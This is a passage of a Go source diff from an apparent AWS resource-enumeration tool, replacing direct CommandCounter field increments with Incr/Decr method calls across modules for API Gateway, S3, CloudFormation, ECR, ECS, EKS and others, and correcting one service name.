||||
for _, endpoint := range m.getEndpointsPerAPIGatewayv2(r, api) {
|
||||
dataReceiver <- endpoint
|
||||
}
|
||||
@@ -486,8 +486,8 @@ func (m *ApiGwModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -495,16 +495,16 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -513,7 +513,7 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, item := range GetDomainNames {
|
||||
@@ -524,7 +524,7 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -537,7 +537,7 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
for _, api := range Items {
|
||||
if api.ApiId != nil && aws.ToString(api.ApiId) == aws.ToString(mapping.ApiId) {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
endpoints := m.getEndpointsPerAPIGatewayv2(r, api)
|
||||
for _, endpoint := range endpoints {
|
||||
var old string
|
||||
@@ -568,8 +568,8 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *ApiGwModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2Types.Api) []ApiGateway {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
|
||||
var gateways []ApiGateway
|
||||
@@ -588,7 +588,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2Type
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, stage := range GetStages {
|
||||
@@ -603,7 +603,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2Type
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, stage := range stages {
|
||||
@@ -643,7 +643,7 @@ func (m *ApiGwModule) ApiGatewayApiKeyRequired(r string, ApiId *string, Resource
|
||||
if err != nil {
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
} else {
|
||||
return aws.ToBool(GetMethod.ApiKeyRequired)
|
||||
}
|
||||
|
||||
+7
-7
@@ -88,7 +88,7 @@ func (m *BucketsModule) PrintBuckets(outputDirectory string, verbosity int) {
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(wg, semaphore, dataReceiver)
|
||||
|
||||
wg.Wait()
|
||||
@@ -203,11 +203,11 @@ func (m *BucketsModule) Receiver(receiver chan BucketRow, receiverDone chan bool
|
||||
func (m *BucketsModule) executeChecks(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan BucketRow) {
|
||||
defer wg.Done()
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.createBucketsRows(m.output.Verbosity, wg, semaphore, dataReceiver)
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}
|
||||
|
||||
func (m *BucketsModule) writeLoot(outputDirectory string, verbosity int, profile string) {
|
||||
@@ -256,8 +256,8 @@ func (m *BucketsModule) writeLoot(outputDirectory string, verbosity int, profile
|
||||
|
||||
func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan BucketRow) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -357,7 +357,7 @@ func (m *BucketsModule) storeAccessPolicy(bucket *BucketRow) {
|
||||
|
||||
if err := m.storeFile(f, bucket.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -80,7 +80,7 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputDirectory string,
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -206,7 +206,7 @@ func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
}
|
||||
for _, serviceRegion := range serviceRegions {
|
||||
if r == serviceRegion {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.createCFStackRowsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -231,7 +231,7 @@ func (m *CloudformationModule) writeLoot(outputDirectory string, verbosity int)
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
pullFile := filepath.Join(path, "cloudformation-data.txt")
|
||||
|
||||
@@ -271,7 +271,7 @@ func (m *CloudformationModule) writeLoot(outputDirectory string, verbosity int)
|
||||
err = os.WriteFile(pullFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
@@ -288,8 +288,8 @@ func (m *CloudformationModule) writeLoot(outputDirectory string, verbosity int)
|
||||
|
||||
func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -302,7 +302,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
|
||||
DescribeStacks, err := sdk.CachedCloudFormationDescribeStacks(m.CloudFormationClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, stack := range DescribeStacks {
|
||||
@@ -314,7 +314,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
|
||||
stackTemplateBody, err = sdk.CachedCloudFormationGetTemplate(m.CloudFormationClient, aws.ToString(m.Caller.Account), r, stackName)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
dataReceiver <- CFStack{
|
||||
|
||||
+2
-2
@@ -87,7 +87,7 @@ func (m *CodeBuildModule) PrintCodeBuildProjects(outputDirectory string, verbosi
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -224,7 +224,7 @@ func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getcodeBuildProjectsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
+25
-25
@@ -260,7 +260,7 @@ func (m *DatabasesModule) executeCheck(check check) {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
check.wg.Add(1)
|
||||
go check.executor(check.region, check.wg, check.semaphore, check.dataReceiver)
|
||||
}
|
||||
@@ -324,7 +324,7 @@ func (m *DatabasesModule) writeLoot(outputDirectory string, verbosity int) strin
|
||||
// err = os.WriteFile(f, []byte(out), 0644)
|
||||
// if err != nil {
|
||||
// m.modLog.Error(err.Error())
|
||||
// m.CommandCounter.Error++
|
||||
// m.CommandCounter.IncrError()
|
||||
// panic(err.Error())
|
||||
// }
|
||||
|
||||
@@ -343,8 +343,8 @@ func (m *DatabasesModule) writeLoot(outputDirectory string, verbosity int) strin
|
||||
|
||||
func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -352,13 +352,13 @@ func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
DBClusters, err := sdk.CachedRDSDescribeDBClusters(m.RDSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -411,8 +411,8 @@ func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -420,14 +420,14 @@ func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -480,8 +480,8 @@ func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -489,9 +489,9 @@ func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitG
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
awsService := "Redshift"
|
||||
protocol := "https"
|
||||
|
||||
@@ -502,7 +502,7 @@ func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitG
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -532,8 +532,8 @@ func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitG
|
||||
|
||||
func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -541,15 +541,15 @@ func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGrou
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
awsService := "DynamoDB"
|
||||
|
||||
Tables, err := sdk.CachedDynamoDBListTables(m.DynamoDBClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -558,7 +558,7 @@ func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGrou
|
||||
TableOutput, err := sdk.CachedDynamoDBDescribeTable(m.DynamoDBClient, aws.ToString(m.Caller.Account), r, table)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
size := aws.ToInt64(TableOutput.TableSizeBytes)
|
||||
|
||||
@@ -84,7 +84,7 @@ func (m *DirectoryModule) PrintDirectories(outputDirectory string, verbosity int
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -198,12 +198,12 @@ func (m *DirectoryModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("clouddirectory", r)
|
||||
res, err := servicemap.IsServiceInRegion("directoryservice", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getDirectoriesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -223,8 +223,8 @@ func (m *DirectoryModule) Receiver(receiver chan Directory, receiverDone chan bo
|
||||
}
|
||||
func (m *DirectoryModule) getDirectoriesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Directory) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
|
||||
+11
-11
@@ -84,7 +84,7 @@ func (m *ECRModule) PrintECR(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -210,7 +210,7 @@ func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -234,7 +234,7 @@ func (m *ECRModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
pullFile := filepath.Join(path, "ecr-pull-commands.txt")
|
||||
|
||||
@@ -259,7 +259,7 @@ func (m *ECRModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(pullFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
@@ -277,8 +277,8 @@ func (m *ECRModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Repository) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -290,7 +290,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
Repositories, err := sdk.CachedECRDescribeRepositories(m.ECRClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -302,7 +302,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
images, err := sdk.CachedECRDescribeImages(m.ECRClient, aws.ToString(m.Caller.Account), r, repoName)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -350,7 +350,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
// var repositories []types.Repository
|
||||
// Repositories, err := sdk.CachedECRDescribeRepositories(m.ECRClient, aws.ToString(m.Caller.Account), r)
|
||||
// if err != nil {
|
||||
// m.CommandCounter.Error++
|
||||
// m.CommandCounter.IncrError()
|
||||
// return nil, err
|
||||
// }
|
||||
|
||||
@@ -364,7 +364,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
|
||||
// ImageDetails, err := sdk.CachedECRDescribeImages(m.ECRClient, aws.ToString(m.Caller.Account), r, repoName)
|
||||
// if err != nil {
|
||||
// m.CommandCounter.Error++
|
||||
// m.CommandCounter.IncrError()
|
||||
// return nil, err
|
||||
// }
|
||||
// images = append(images, ImageDetails...)
|
||||
@@ -375,7 +375,7 @@ func (m *ECRModule) getECRRepositoryPolicy(r string, repository string) (policy.
|
||||
var repoPolicy policy.Policy
|
||||
Policy, err := sdk.CachedECRGetRepositoryPolicy(m.ECRClient, aws.ToString(m.Caller.Account), r, repository)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return repoPolicy, err
|
||||
}
|
||||
repoPolicy, err = policy.ParseJSONPolicy([]byte(Policy))
|
||||
|
||||
+18
-18
@@ -100,7 +100,7 @@ func (m *ECSTasksModule) ECSTasks(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -254,7 +254,7 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
privateIPsFilename := filepath.Join(path, "ecs-tasks-PrivateIPs.txt")
|
||||
publicIPsFilename := filepath.Join(path, "ecs-tasks-PublicIPs.txt")
|
||||
@@ -274,12 +274,12 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
|
||||
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, task := range m.MappedECSTasks {
|
||||
@@ -288,14 +288,14 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
taskDefinitionFilename := filepath.Join(path, task.TaskDefinitionName+".json")
|
||||
|
||||
err = os.WriteFile(taskDefinitionFilename, []byte(task.TaskDefinitionContent), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -321,12 +321,12 @@ func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceive
|
||||
}
|
||||
if res {
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
m.getListClusters(r, dataReceiver)
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -335,7 +335,7 @@ func (m *ECSTasksModule) getListClusters(region string, dataReceiver chan Mapped
|
||||
ClusterArns, err := sdk.CachedECSListClusters(m.ECSClient, aws.ToString(m.Caller.Account), region)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -349,7 +349,7 @@ func (m *ECSTasksModule) getListTasks(clusterARN string, region string, dataRece
|
||||
TaskArns, err := sdk.CachedECSListTasks(m.ECSClient, aws.ToString(m.Caller.Account), region, clusterARN)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -374,7 +374,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
Tasks, err := sdk.CachedECSDescribeTasks(m.ECSClient, aws.ToString(m.Caller.Account), region, clusterARN, taskARNs)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -388,7 +388,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
publicIPs, err := m.loadPublicIPs(eniIDs, region)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -397,7 +397,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
taskDefinition, err := sdk.CachedECSDescribeTaskDefinition(m.ECSClient, aws.ToString(m.Caller.Account), region, aws.ToString(task.TaskDefinitionArn))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
mappedTask := MappedECSTask{
|
||||
@@ -446,7 +446,7 @@ func (m *ECSTasksModule) describeTaskDefinition(taskDefinitionArn string, region
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return types.TaskDefinition{}, err
|
||||
}
|
||||
return *DescribeTaskDefinition.TaskDefinition, nil
|
||||
@@ -466,7 +466,7 @@ func (m *ECSTasksModule) loadAllPublicIPs(eniIDs []string, region string) (map[s
|
||||
publicIPs, err := m.loadPublicIPs(eniIDs[i:j], region)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return nil, fmt.Errorf("getting elastic network interfaces: %s", err)
|
||||
}
|
||||
|
||||
|
||||
+9
-9
@@ -102,7 +102,7 @@ func (m *EKSModule) EKS(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -255,7 +255,7 @@ func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getEKSRecordsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -279,7 +279,7 @@ func (m *EKSModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
pullFile := filepath.Join(path, "eks-kubeconfig-commands.txt")
|
||||
|
||||
@@ -303,7 +303,7 @@ func (m *EKSModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(pullFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
@@ -322,8 +322,8 @@ func (m *EKSModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Cluster) {
|
||||
defer func() {
|
||||
